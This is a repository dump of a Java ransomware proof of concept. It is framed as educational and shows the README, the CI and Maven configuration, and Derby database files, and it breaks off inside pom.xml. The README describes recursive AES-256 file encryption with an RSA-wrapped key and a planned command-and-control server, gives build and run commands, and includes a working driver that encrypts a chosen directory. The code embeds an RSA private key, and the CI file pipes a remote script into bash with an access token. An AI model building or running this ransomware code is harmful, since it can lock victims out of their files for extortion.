master 52e1bbe69810 cached
34 files
104.4 KB
25.6k tokens
80 symbols
1 requests
Download .txt
Repository: PanagiotisDrakatos/JavaRansomware
Branch: master
Commit: 52e1bbe69810
Files: 34
Total size: 104.4 KB

Directory structure:
gitextract_8o92klmj/

├── .gitignore
├── LICENSE
├── README.md
├── appveyor.yml
├── dependency-reduced-pom.xml
├── encryptedKeyDB/
│   ├── README_DO_NOT_TOUCH_FILES.txt
│   ├── log/
│   │   ├── README_DO_NOT_TOUCH_FILES.txt
│   │   ├── log.ctrl
│   │   └── logmirror.ctrl
│   ├── seg0/
│   │   └── README_DO_NOT_TOUCH_FILES.txt
│   └── service.properties
├── pom.xml
├── secret.key
└── src/
    ├── assembly/
    │   └── assembly.xml
    ├── main/
    │   └── java/
    │       └── com/
    │           └── security/
    │               ├── AESCipher.java
    │               ├── DatabaseRetrieveHandler.java
    │               ├── DatabaseStoreHandler.java
    │               ├── DecryptKeyHandler.java
    │               ├── DerbyStorage.java
    │               ├── EncryptKeyHandler.java
    │               ├── Example.java
    │               ├── GenSymmetricKeyHandler.java
    │               ├── Handler.java
    │               ├── Pipeline.java
    │               ├── PipelineData.java
    │               ├── RSACipher.java
    │               ├── RSAGenKeyReader.java
    │               ├── RansomwareDecryptHandler.java
    │               ├── RansomwareEncryptHandler.java
    │               ├── RansomwareException.java
    │               ├── SearchDirectory.java
    │               └── Serializer.java
    ├── resources/
    │   └── test.txt
    └── test/
        └── java/
            └── com/
                └── Examples/
                    └── ExampleTest.java

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
# Compiled class file
*.class

# Log file
*.log

# BlueJ files
*.ctxt

# Mobile Tools for Java (J2ME)
.mtj.tmp/

# Package Files #
*.jar
*.war
*.nar
*.ear
*.zip
*.tar.gz
*.rar

# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
hs_err_pid*
.idea
*.iml
*.project
target/
build/
bin/
/tmp/
.DS_Store
.attach_pid*
*.effective.properties
node_modules
package-lock.json
*.class
tmp/

================================================
FILE: LICENSE
================================================
MIT License

Copyright (c) 2016 panagiotis

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


================================================
FILE: README.md
================================================
<div align="center">

<sup>Special thanks my followers for supporting me:</sup>

<div>
<img src="./logo.png" width="230" alt="Warp" />
</div>
<b>
JavaRansomware encrypts a victim’s files through Java, preventing access without a decryption key
The code uses standard Java libraries and a custom encryption routine to execute its malicious payload
</b>
<div>
<sup>Visit <u>warp.dev</u> to learn more.</sup>
</div>


<hr />

# JavaRansomware

<a href="">![build-status](https://ci.appveyor.com/api/projects/status/github/PanagiotisDrakatos/javaransomware?branch=master&svg=true)</a>
<a href="">[![Scc Count Badge](https://sloc.xyz/github/PanagiotisDrakatos/JavaRansomware/?category=lines)](https://github.com/PanagiotisDrakatos/JavaRansomware/)</a>
<a href="">![GitHub Repo stars](https://img.shields.io/github/stars/PanagiotisDrakatos/JavaRansomware?style=flat&logoColor=green)</a>
<a href="">![GitHub followers](https://img.shields.io/github/followers/PanagiotisDrakatos?style=flat&logo=green)</a>
<a href="">![GitHub forks](https://img.shields.io/github/forks/PanagiotisDrakatos/JavaRansomware?style=flat&logoColor=green)</a>
<a href="">![GitHub watchers](https://img.shields.io/github/watchers/PanagiotisDrakatos/JavaRansomware?style=flat&logoColor=green)</a>
<a href="">![GitHub contributors](https://badgen.net/github/contributors/PanagiotisDrakatos/JavaRansomware/)</a>
<a href="">![GitHub branches](https://badgen.net/github/branches/PanagiotisDrakatos/JavaRansomware/)</a>
<a href="">![GitHub language count](https://img.shields.io/github/languages/count/PanagiotisDrakatos/JavaRansomware?style=flat&logo=green)</a>
<a href="">![GitHub releases](https://badgen.net/github/releases/PanagiotisDrakatos/JavaRansomware/)</a>
<a href="">![GitHub Issues or Pull Requests](https://img.shields.io/github/issues/PanagiotisDrakatos/JavaRansomware?style=flat)</a>
<a href="">[![GitHub pull requests](https://img.shields.io/github/issues-pr/PanagiotisDrakatos/JavaRansomware.svg)](https://github.com/PanagiotisDrakatos/JavaRansomware/pulls)</a>
<a href="">![GitHub commit](https://badgen.net/github/commits/PanagiotisDrakatos/JavaRansomware)</a>
<a href="">![GitHub Downloads (all assets, all releases)](https://img.shields.io/github/downloads/PanagiotisDrakatos/JavaRansomware/total?style=flat&logo=green)</a>
<a href="">![GitHub code size in bytes](https://img.shields.io/github/languages/code-size/PanagiotisDrakatos/JavaRansomware?style=flat)</a>
<a href="">[![GitHub code-size](https://img.shields.io/github/languages/code-size/PanagiotisDrakato/JavaRansomware.svg)]()</a>
<a href="">![GitHub repo size](https://img.shields.io/github/repo-size/PanagiotisDrakatos/JavaRansomware?style=flat&logo=green)</a>
<a href="">[![License](https://img.shields.io/badge/license-Apache-green.svg)](https://github.com/PanagiotisDrakatos/JavaRansomware/blob/master/LICENSE)</a>

</div>


> **Warning**  
> This project is intended **solely for educational and research purposes**.  
> **Do not** use it on any system without explicit permission. Using code like this to compromise systems or data
> without authorization is illegal and unethical.

## Table of Contents

1. [Project Overview](#project-overview)
2. [What does ransomware do?](#what-does-ransomware-do)
3. [Key Features](#key-features)
4. [Technical Details](#technical-details)
    - [Encryption Process](#encryption-process)
    - [Decryption Process](#decryption-process)
    - [Keys and Security](#keys-and-security)
5. .[Legal Warning](#legal-warning)
6. [Support](#support)
7. [Note](#note)
8. [Contribute](#contribute)
9. [Authors](#authors)
10. [License](#license)

## Project Overview

**JavaRansomware** is a proof-of-concept cryptographic ransomware application written in **pure Java**.
It demonstrates how a malicious actor might encrypt files on a target machine, hold them for
ransom, and only decrypt them upon certain conditions. Ransomware is malware for data kidnapping, an exploit in which
the attacker encrypts the victim's  files and stops them from access them.

As a teaching tool, this repository illustrates common ransomware tactics:

- Iterating through a file system to find and encrypt targeted files.
- Employing **AES-256** as the symmetric cipher.
- Protecting the AES key using **RSA-4096** for additional security.

> **Again**, this software is provided for **educational** and **research** insights into how ransomware threats
> operate, so security professionals, researchers, and students can better understand and defend against them.

---

## What does ransomware do?

There are different types of ransomware. However, all of them will prevent you from using your
PC normally, and they will all ask you to do something before you can use your PC. They can target
any PC users, whether it’s a home computer, endpoints in an enterprise network, or servers
used by a government agency or healthcare provider.

Ransomware can:

* Prevent you from accessing Windows.

* Encrypt files so you can't use them.

* Stop certain apps from running (like your web browser).

Ransomware will demand that you pay money (a “ransom”) to get access to your PC or files. We
have also seen them make you complete surveys. There is no guarantee that paying the fine or
doing what the ransomware tells you will give access to your PC or files again.

## Key Features

1. **Symmetric Encryption (AES-256)**
    - Encrypts files using a robust 256-bit key.
    - Fast and efficient for large volumes of data.

2. **Asymmetric Key Protection (RSA-4096)**
    - The AES key is encrypted with a 4096-bit RSA public key.
    - Prevents easy key recovery without the matching RSA private key.

3. **Configurable File Paths**
    - Specify which folders or directories to target for encryption/decryption.

4. **Simple Command-Line Interface**
    - Takes arguments for path and action (encrypt or decrypt).

5. **Educational-Focused**
    - The code is structured to highlight each step of the ransomware life cycle.
    - Clear class and method names to guide understanding.

### Encryption Process

1. **File Discovery**
    - The ransomware scans a specified directory (recursively) for files to encrypt.

2. **AES Key Generation**
    - Generates a random 256-bit (32-byte) AES key.
    - This key protects the actual file contents.

3. **RSA Public Key Encryption**
    - The generated AES key is itself encrypted with an RSA-4096 public key.
    - This ensures that only someone with the corresponding private key can decrypt and recover the AES key.

4. **AES File Encryption**
    - Each targeted file is encrypted with the AES key in **CBC** or **ECB** mode (depending on the implementation in
      the code).
    - Encrypted data replaces the original file contents (or is written to a new file).

5. **(Optional) Logging/DB**
    - The project references an embedded database for storing the victim ID, key references, etc.
    - In a real scenario, this might be replaced by an online Command & Control (C2) server.

### Decryption Process

1. **RSA Private Key**
    - The private key (matching the earlier RSA public key) decrypts the stored AES key.

2. **AES File Decryption**
    - The now-recovered AES key is used to decrypt the files, restoring them to their original contents.

### Keys and Security

- **AES-256** is a symmetric cipher considered secure under modern standards.
- **RSA-4096** ensures the key exchange is non-trivial to brute force.
- Combined, these create a typical hybrid encryption model used by many real-world ransomware variants.

## Technical Details

This project aims to build an almost functional crypto-ransomware for educational purposes, written in in pure java.
Basically, it will encrypt your files in background using AES-256, a strong encryption algorithm, using RSA-4096 Public
Key to secure the AES Symetric key and store it in an embeeded database.

Assume that there is a C&C Server who for store the Id and the respective encryption key and possibly act as a Command
and Control server in the near future.

For Education Purposes I will not Provide the Full Server source code.,as i decribed in the previous paragraph. Let's
imagine a simple testing example which client by deafult has the Asymmetrtic encryption keys.

The easiest way to run this Project is to simply run the below commands

 ```
 $ mvn clean install
```

Run the following test and encrypt all files in the current given path of the Examples test file
and wait until the execution will be finished.

 ```bash
    mvn -Dtest=MyTest ExampleTest test
  ```


> DON'T RUN JavaRansomware.jar IN YOUR PERSONAL MACHINE, EXECUTE ONLY IN A TEST ENVIRONMENT(VMWARE)!

if you want to use the project programmatically just put the below code in your project and simply run it. Don't forget
to give input arguments path before executing it.

<h2>Java Manual</h2>

JDK [21](https://www.oracle.com/java/technologies/javase/jdk21-archive-downloads.html) is required to build and run this
project.
```java
package com.security;


import java.nio.file.Path;
import java.nio.file.Paths;
import java.security.GeneralSecurityException;

public class Example {
    private static final String PubicKey = "MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJCw1HHQooCFGsGhtxNrsdS6dDq5jtfHqqLInCj7qFlDaD/Sll5+BAUjV0GU/c+6PVyMKzmLrHh49eeGQy1ETN8CAwEAAQ==";
    private static final String PrivateKey = "MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAkLDUcdCigIUawaG3E2ux1Lp0OrmO18eqosicKPuoWUNoP9KWXn4EBSNXQZT9z7o9XIwrOYuseHj154ZDLURM3wIDAQABAkA9AnLx8tkye+2GTBwYEkcPvfcYc/mpPsXSkehW15Zq3IALx3Kr5GgKGOaB2FK6PU0QzEPQbNJXdA5ZPjwTDcQBAiEA1/zINRVlrLpw2HPfqsYQ8ZSDuG2rVUUKKmKgJQXeQ98CIQCrfsw2+VKOaFoJm5BpVxIT5nsE8CXn4fr/WSFuklMXAQIgTKWnAreCKmbLTvTn5bl+H8zdZaB9kbf7YIk5XYoUky8CIQCL2ccnPYK5ZxelphrKDJtNZzMC/+OpiXtqKIE+7kycAQIgRK/DUhWUgSQV5u7VoCHDyLPCntjFMGBsg7Wi1uq+EDM=";


    public static void main(String[] args) throws RansomwareException, GeneralSecurityException {
        // Set Whatever path you want to test
        Path testPath = Paths.get("C:\\Users\\User\\Documents\\GitHub\\JavaRansomware\\src\\resources");
        //Path testPath = Paths.get(Objects.requireNonNull(ExampleTest.class.getResource("/test.txt")).toURI());
        PipelineData pipelineData = new PipelineData();
        pipelineData.setPrivateKey(PrivateKey);
        pipelineData.setPublicKey(PubicKey);

        // Alternative Gen RSA. Make sure you save the keypair to a file if not loaded
//        RSAGenKeyReader.StringKeyPair keyPair=RSAGenKeyReader.generateKeyPair();
//        pipelineData.setPrivateKey(keyPair.privateKey());
//        pipelineData.setPublicKey(keyPair.publicKey());

        pipelineData.setRootPath(testPath.toAbsolutePath().toString());

        Pipeline<PipelineData, PipelineData> encrypt_filters = new Pipeline<PipelineData, PipelineData>(new DatabaseRetrieveHandler())
                .addHandler(new GenSymmetricKeyHandler())
                .addHandler(new RansomwareEncryptHandler())
                .addHandler(new EncryptKeyHandler())
                .addHandler(new DatabaseStoreHandler());
        var encrypt_output = encrypt_filters.execute(pipelineData);
        System.out.println("Pipeline encrypt_output: " + encrypt_output);


        Pipeline<PipelineData, PipelineData> decrypt_filters = new Pipeline<PipelineData, PipelineData>(new DatabaseRetrieveHandler())
                .addHandler(new DecryptKeyHandler())
                .addHandler(new RansomwareDecryptHandler())
                .addHandler(new DecryptKeyHandler());
        var decrypt_output = decrypt_filters.execute(pipelineData);
        System.out.println("Pipeline output: " + decrypt_output);
    }
}

```


![alt tag](./JavaRansomWare.PNG)

## Legal Warning
While this may be helpful for some, there are significant risks. JavaRansomware may be used only for 
Educational Purposes. Do not use it as a ransomware! You could go to jail if if you will use it for 
malicious purposes.<


## Support

For support, email panagiotisdrakatos@gmail.com or join me Discord:panos5427.
Meaning, if you liked using this app or it has helped you in any way,
I'd like you send me an email about anything you'd want to say about this software.
I'd really appreciate it!

## Note

- ⭐️ Give me a Star!! JavaRansomware is constantly updating, support us!
- The analysis was done by me, without having obfuscated the source code (either with pyarmor etc),
- I would not recommend using JavaRansomware + obfuscatebecause many times av trigger obfuscated codes as false positive
  even if legitimate.

## Contribute

1. Fork it: git clone https://github.com/PanagiotisDrakatos/JavaRansomware.git
2. Create your feature branch: ```git checkout -b my-new-feature```
3. Commit your changes: ```git commit -am 'Add some feature```
4. Push to the branch: ```git push origin my-new-feature```
5. Submit a pull request

## Authors

- [@panagiotisdrakatos](https://github.com/PanagiotisDrakatos)

 
## License
This project is distributed under the MIT license version 2.0 (see the LICENSE file in the project root).

By submitting a pull request to this project, you agree to license your contribution under the MIT license version 2.0
to this project.

[![MIT License](https://img.shields.io/badge/License-MIT-green.svg)](https://choosealicense.com/licenses/mit/)


================================================
FILE: appveyor.yml
================================================
environment:
  MAVEN_OPTS: "-Xmx8g -XX:MaxMetaspaceSize=12g"
  MAVEN_VERSION: 3.9.9
  APPVEYOR_BUILD_ID: 1
  APPVEYOR_BUILD_NUMBER: 1.0.2
init:
  - set APPVEYOR_BUILD_ID
  - set APPVEYOR_BUILD_NUMBER

image: ubuntu
branches:
  only:
    - master
configuration: Release
install:
  - sh: |
      echo "APPVEYOR_BUILD_ID: $APPVEYOR_BUILD_ID"
      echo "APPVEYOR_BUILD_NUMBER: $APPVEYOR_BUILD_NUMBER"
  - export MAVEN_OPTS="-Xmx8g -XX:MaxMetaspaceSize=12g"
  - ls -ahl;
  - sh: |
      sudo apt -y update > /dev/null;
      sudo DEBIAN_FRONTEND=noninteractive apt -qq -y install aria2 gnupg2 graphviz openssl rsync sshpass whois --no-install-suggests --no-install-recommends;
  #- whois $(curl ipinfo.io/ip);
  # Settings -> Environment -> Environment variables -> Add variable
  # CI_OPT_ORIGIN_REPO_SLUG
  - sh: |
      # make AppVeyor's JDK path (/usr/lib/jvm/java-21-openjdk-amd64) compatible with travis-ci's style (/usr/lib/jvm/java-21-openjdk) to make toolchains.xml valid
      if [[ -d /usr/lib/jvm/java-8-openjdk-amd64 ]]; then sudo ln -s /usr/lib/jvm/java-8-openjdk-amd64 /usr/lib/jvm/java-8-openjdk; fi;
      if [[ -d /usr/lib/jvm/java-11-openjdk-amd64 ]]; then sudo ln -s /usr/lib/jvm/java-11-openjdk-amd64 /usr/lib/jvm/java-11-openjdk; fi;
      if [[ -d /usr/lib/jvm/java-21-openjdk-amd64 ]]; then sudo ln -s /usr/lib/jvm/java-21-openjdk-amd64 /usr/lib/jvm/java-21-openjdk; fi;
      export JAVA_HOME="/usr/lib/jvm/java-21-openjdk";
      export PATH="$JAVA_HOME:$PATH";
  - sh: |
      export CI_OPT_MVN_MULTI_STAGE_BUILD="false";

  - sh: |
      mvn -v
      wget https://downloads.apache.org/maven/maven-3/3.9.9/binaries/apache-maven-3.9.9-bin.tar.gz
      tar -xzf apache-maven-3.9.9-bin.tar.gz
      sudo mv apache-maven-3.9.9 /opt/maven
      export PATH=/opt/maven/bin:$PATH
      mvn -v
      java -version

services:
  - docker

stack: jdk 21
build_script:
  - mvn clean install -U
test_script:
  - mvn clean install -U
after_test:
  - ps: |
      curl -s https://codecov.io/bash | bash -s - -t 1d910d2b-5749-4c90-bc7d-e8e4b3185606
build: off
cache:
  - "$HOME/.cache"
  - "$HOME/.gradle"
  - "$HOME/.m2/repository"
  - "$HOME/.m2/wrapper"
  - "$HOME/.sonar/cache"

================================================
FILE: dependency-reduced-pom.xml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>com.security</groupId>
  <artifactId>com.security</artifactId>
  <name>com.security</name>
  <version>1.0-SNAPSHOT-JavaRansomware</version>
  <url>http://maven.apache.org</url>
  <build>
    <resources>
      <resource>
        <directory>src/resources</directory>
        <includes>
          <include>**/*.txt</include>
          <include>**/*.so</include>
        </includes>
      </resource>
    </resources>
    <pluginManagement>
      <plugins>
        <plugin>
          <groupId>kr.motd.maven</groupId>
          <artifactId>os-maven-plugin</artifactId>
          <version>${kr.motd.maven}</version>
        </plugin>
        <plugin>
          <artifactId>maven-assembly-plugin</artifactId>
          <version>${maven-assembly-plugin}</version>
        </plugin>
        <plugin>
          <groupId>org.codehaus.mojo</groupId>
          <artifactId>exec-maven-plugin</artifactId>
          <version>${exec-maven-plugin.version}</version>
        </plugin>
        <plugin>
          <artifactId>maven-surefire-plugin</artifactId>
          <version>${maven-surefire-plugin.version}</version>
        </plugin>
        <plugin>
          <artifactId>maven-jar-plugin</artifactId>
          <version>${maven-jar-plugin.version}</version>
        </plugin>
        <plugin>
          <artifactId>maven-compiler-plugin</artifactId>
          <version>${maven-compiler-plugin.version}</version>
        </plugin>
        <plugin>
          <artifactId>maven-source-plugin</artifactId>
          <version>${maven-source-plugin.version}</version>
        </plugin>
        <plugin>
          <artifactId>maven-shade-plugin</artifactId>
          <version>${maven-shade-plugin.version}</version>
        </plugin>
        <plugin>
          <groupId>org.codehaus.mojo</groupId>
          <artifactId>buildnumber-maven-plugin</artifactId>
          <version>${buildnumber-maven-plugin.version}</version>
        </plugin>
        <plugin>
          <artifactId>maven-javadoc-plugin</artifactId>
          <version>${maven-javadoc-plugin.version}</version>
        </plugin>
        <plugin>
          <artifactId>maven-gpg-plugin</artifactId>
          <version>${maven-gpg-plugin.version}</version>
        </plugin>
        <plugin>
          <groupId>org.sonatype.plugins</groupId>
          <artifactId>nexus-staging-maven-plugin</artifactId>
          <version>${nexus-staging-maven-plugin.version}</version>
        </plugin>
        <plugin>
          <groupId>org.jacoco</groupId>
          <artifactId>jacoco-maven-plugin</artifactId>
          <version>${jacoco-maven-plugin.version}</version>
        </plugin>
        <plugin>
          <artifactId>maven-resources-plugin</artifactId>
          <version>${maven-resources-plugin.version}</version>
        </plugin>
      </plugins>
    </pluginManagement>
    <plugins>
      <plugin>
        <artifactId>maven-surefire-plugin</artifactId>
        <configuration>
          <forkCount>1</forkCount>
          <threadCount>1</threadCount>
          <reuseForks>false</reuseForks>
          <runOrder>alphabetical</runOrder>
          <argLine>--add-opens java.base/java.lang=ALL-UNNAMED
                        --add-opens java.base/java.util=ALL-UNNAMED
                        --add-opens java.base/java.math=ALL-UNNAMED
                        --add-opens java.base/sun.nio.ch=ALL-UNNAMED
                        --add-opens java.base/java.security.spec=ALL-UNNAMED
                        --add-opens java.base/java.time=ALL-UNNAMED</argLine>
        </configuration>
      </plugin>
      <plugin>
        <artifactId>maven-compiler-plugin</artifactId>
        <configuration>
          <source>${java.version}</source>
          <target>${java.version}</target>
        </configuration>
      </plugin>
      <plugin>
        <artifactId>maven-assembly-plugin</artifactId>
        <executions>
          <execution>
            <id>make-assembly</id>
            <phase>package</phase>
            <goals>
              <goal>single</goal>
            </goals>
            <configuration>
              <descriptors>
                <descriptor>src/assembly/assembly.xml</descriptor>
              </descriptors>
            </configuration>
          </execution>
        </executions>
      </plugin>
      <plugin>
        <artifactId>maven-jar-plugin</artifactId>
      </plugin>
      <plugin>
        <artifactId>maven-shade-plugin</artifactId>
        <executions>
          <execution>
            <phase>package</phase>
            <goals>
              <goal>shade</goal>
            </goals>
            <configuration>
              <transformers>
                <transformer />
                <transformer />
              </transformers>
              <filters>
                <filter>
                  <artifact>*:*</artifact>
                  <excludes>
                    <exclude>META-INF/**</exclude>
                    <exclude>INFO/**</exclude>
                    <exclude>asm:*</exclude>
                    <exclude>META-INF/*.MF</exclude>
                    <exclude>META-INF/*.SF</exclude>
                    <exclude>META-INF/*.DSA</exclude>
                    <exclude>META-INF/*.RSA</exclude>
                    <exclude>META-INF/versions/21/**</exclude>
                  </excludes>
                </filter>
              </filters>
            </configuration>
          </execution>
        </executions>
      </plugin>
    </plugins>
  </build>
  <dependencies>
    <dependency>
      <groupId>org.projectlombok</groupId>
      <artifactId>lombok</artifactId>
      <version>1.18.36</version>
      <scope>provided</scope>
    </dependency>
    <dependency>
      <groupId>org.junit.jupiter</groupId>
      <artifactId>junit-jupiter-api</artifactId>
      <version>5.12.0</version>
      <scope>test</scope>
      <exclusions>
        <exclusion>
          <artifactId>opentest4j</artifactId>
          <groupId>org.opentest4j</groupId>
        </exclusion>
        <exclusion>
          <artifactId>junit-platform-commons</artifactId>
          <groupId>org.junit.platform</groupId>
        </exclusion>
        <exclusion>
          <artifactId>apiguardian-api</artifactId>
          <groupId>org.apiguardian</groupId>
        </exclusion>
      </exclusions>
    </dependency>
  </dependencies>
  <properties>
    <maven-gpg-plugin.version>3.2.6</maven-gpg-plugin.version>
    <maven-javadoc-plugin.version>3.10.0</maven-javadoc-plugin.version>
    <commons-codec.version>1.18.0</commons-codec.version>
    <kr.motd.maven>1.7.1</kr.motd.maven>
    <maven-jar-plugin.version>3.4.2</maven-jar-plugin.version>
    <nexus-staging-maven-plugin.version>1.7.0</nexus-staging-maven-plugin.version>
    <maven-shade-plugin.version>3.6.0</maven-shade-plugin.version>
    <maven-compiler-plugin.version>3.13.0</maven-compiler-plugin.version>
    <junit-jupiter-api.version>5.12.0</junit-jupiter-api.version>
    <maven-surefire-plugin.version>3.5.2</maven-surefire-plugin.version>
    <maven-resources-plugin.version>3.3.1</maven-resources-plugin.version>
    <buildnumber-maven-plugin.version>3.2.1</buildnumber-maven-plugin.version>
    <exec-maven-plugin.version>3.4.1</exec-maven-plugin.version>
    <netty.version>4.2.0.RC3</netty.version>
    <fury-core.version>0.10.0</fury-core.version>
    <maven-source-plugin.version>3.3.1</maven-source-plugin.version>
    <bcprov-jdk18on.version>1.80</bcprov-jdk18on.version>
    <maven-assembly-plugin>3.7.1</maven-assembly-plugin>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <jacoco-maven-plugin.version>0.8.12</jacoco-maven-plugin.version>
    <commons-io.version>2.18.0</commons-io.version>
    <java.version>21</java.version>
    <derby.version>10.17.1.0</derby.version>
    <jackson-databind.version>2.18.2</jackson-databind.version>
    <lombok.version>1.18.36</lombok.version>
  </properties>
</project>


================================================
FILE: encryptedKeyDB/README_DO_NOT_TOUCH_FILES.txt
================================================

# *************************************************************************
# ***              DO NOT TOUCH FILES IN THIS DIRECTORY!                ***
# *** FILES IN THIS DIRECTORY AND SUBDIRECTORIES CONSTITUTE A DERBY     ***
# *** DATABASE, WHICH INCLUDES THE DATA (USER AND SYSTEM) AND THE       ***
# *** FILES NECESSARY FOR DATABASE RECOVERY.                            ***
# *** EDITING, ADDING, OR DELETING ANY OF THESE FILES MAY CAUSE DATA    ***
# *** CORRUPTION AND LEAVE THE DATABASE IN A NON-RECOVERABLE STATE.     ***
# *************************************************************************

================================================
FILE: encryptedKeyDB/log/README_DO_NOT_TOUCH_FILES.txt
================================================

# *************************************************************************
# ***              DO NOT TOUCH FILES IN THIS DIRECTORY!                ***
# *** FILES IN THIS DIRECTORY ARE USED BY THE DERBY DATABASE RECOVERY   ***
# *** SYSTEM. EDITING, ADDING, OR DELETING FILES IN THIS DIRECTORY      ***
# *** WILL CAUSE THE DERBY RECOVERY SYSTEM TO FAIL, LEADING TO          ***
# *** NON-RECOVERABLE CORRUPT DATABASES.                                ***
# *************************************************************************

================================================
FILE: encryptedKeyDB/seg0/README_DO_NOT_TOUCH_FILES.txt
================================================

# *************************************************************************
# ***              DO NOT TOUCH FILES IN THIS DIRECTORY!                ***
# *** FILES IN THIS DIRECTORY ARE USED BY THE DERBY DATABASE TO STORE   *** 
# *** USER AND SYSTEM DATA. EDITING, ADDING, OR DELETING FILES IN THIS  ***
# *** DIRECTORY WILL CORRUPT THE ASSOCIATED DERBY DATABASE AND MAKE     ***
# *** IT NON-RECOVERABLE.                                               ***
# *************************************************************************

================================================
FILE: encryptedKeyDB/service.properties
================================================
#C:\Users\User\Documents\GitHub\JavaRansomware\encryptedKeyDB
# ********************************************************************
# ***                Please do NOT edit this file.                 ***
# *** CHANGING THE CONTENT OF THIS FILE MAY CAUSE DATA CORRUPTION. ***
# ********************************************************************
#Fri Feb 28 21:08:50 EET 2025
SyscolumnsIdentifier=144
SyscolumnsIndex1Identifier=161
SyscolumnsIndex2Identifier=177
SysconglomeratesIdentifier=32
SysconglomeratesIndex1Identifier=49
SysconglomeratesIndex2Identifier=65
SysconglomeratesIndex3Identifier=81
SysschemasIdentifier=192
SysschemasIndex1Identifier=209
SysschemasIndex2Identifier=225
SystablesIdentifier=96
SystablesIndex1Identifier=113
SystablesIndex2Identifier=129
derby.serviceLocale=en_US
derby.serviceProtocol=org.apache.derby.database.Database
derby.storage.propertiesId=16
#--- last line, don't put anything after this line ---


================================================
FILE: pom.xml
================================================
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.security</groupId>
    <artifactId>com.security</artifactId>
    <version>1.0-SNAPSHOT-JavaRansomware</version>
    <packaging>jar</packaging>

    <name>com.security</name>
    <url>http://maven.apache.org</url>

    <properties>
        <java.version>21</java.version>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <commons-io.version>2.18.0</commons-io.version>
        <commons-codec.version>1.18.0</commons-codec.version>
        <bcprov-jdk18on.version>1.80</bcprov-jdk18on.version>
        <jackson-databind.version>2.18.2</jackson-databind.version>
        <derby.version>10.17.1.0</derby.version>
        <junit-jupiter-api.version>5.12.0</junit-jupiter-api.version>
        <fury-core.version>0.10.0</fury-core.version>
        <lombok.version>1.18.36</lombok.version>

        <!-- Plugin Updates-->
        <exec-maven-plugin.version>3.4.1</exec-maven-plugin.version>
        <maven-surefire-plugin.version>3.5.2</maven-surefire-plugin.version>
        <maven-jar-plugin.version>3.4.2</maven-jar-plugin.version>
        <maven-compiler-plugin.version>3.13.0</maven-compiler-plugin.version>
        <maven-source-plugin.version>3.3.1</maven-source-plugin.version>
        <maven-shade-plugin.version>3.6.0</maven-shade-plugin.version>
        <buildnumber-maven-plugin.version>3.2.1</buildnumber-maven-plugin.version>
        <maven-javadoc-plugin.version>3.10.0</maven-javadoc-plugin.version>
        <maven-gpg-plugin.version>3.2.6</maven-gpg-plugin.version>
        <nexus-staging-maven-plugin.version>1.7.0</nexus-staging-maven-plugin.version>
        <jacoco-maven-plugin.version>0.8.12</jacoco-maven-plugin.version>
        <maven-resources-plugin.version>3.3.1</maven-resources-plugin.version>
        <maven-assembly-plugin>3.7.1</maven-assembly-plugin>
        <kr.motd.maven>1.7.1</kr.motd.maven>
        <netty.version>4.2.0.RC3</netty.version>

    </properties>

    <dependencies>
        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
            <version>${lombok.version}</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.fury</groupId>
            <artifactId>fury-core</artifactId>
            <version>${fury-core.version}</version>
        </dependency>
        <dependency>
            <groupId>org.junit.jupiter</groupId>
            <artifactId>junit-jupiter-api</artifactId>
            <version>${junit-jupiter-api.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>commons-io</groupId>
            <artifactId>commons-io</artifactId>
            <version>${commons-io.version}</version>
        </dependency>
        <dependency>
            <groupId>commons-codec</groupId>
            <artifactId>commons-codec</artifactId>
            <version>${commons-codec.version}</version>
        </dependency>
        <dependency>
            <groupId>org.bouncycastle</groupId>
            <artifactId>bcprov-jdk18on</artifactId>
            <version>${bcprov-jdk18on.version}</version>
        </dependency>
        <dependency>
            <groupId>org.apache.derby</groupId>
            <artifactId>derby</artifactId>
            <version>${derby.version}</version>
        </dependency>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>${jackson-databind.version}</version>
        </dependency>
    </dependencies>
    <build>
        <pluginManagement>
            <plugins>
                <plugin>
                    <groupId>kr.motd.maven</groupId>
                    <artifactId>os-maven-plugin</artifactId>
                    <version>${kr.motd.maven}</version>
                </plugin>
                <plugin>
                    <groupId>org.apache.maven.plugins</groupId>
                    <artifactId>maven-assembly-plugin</artifactId>
                    <version>${maven-assembly-plugin}</version>
                </plugin>
                <plugin>
                    <groupId>org.codehaus.mojo</groupId>
                    <artifactId>exec-maven-plugin</artifactId>
                    <version>${exec-maven-plugin.version}</version>
                </plugin>
                <plugin>
                    <groupId>org.apache.maven.plugins</groupId>
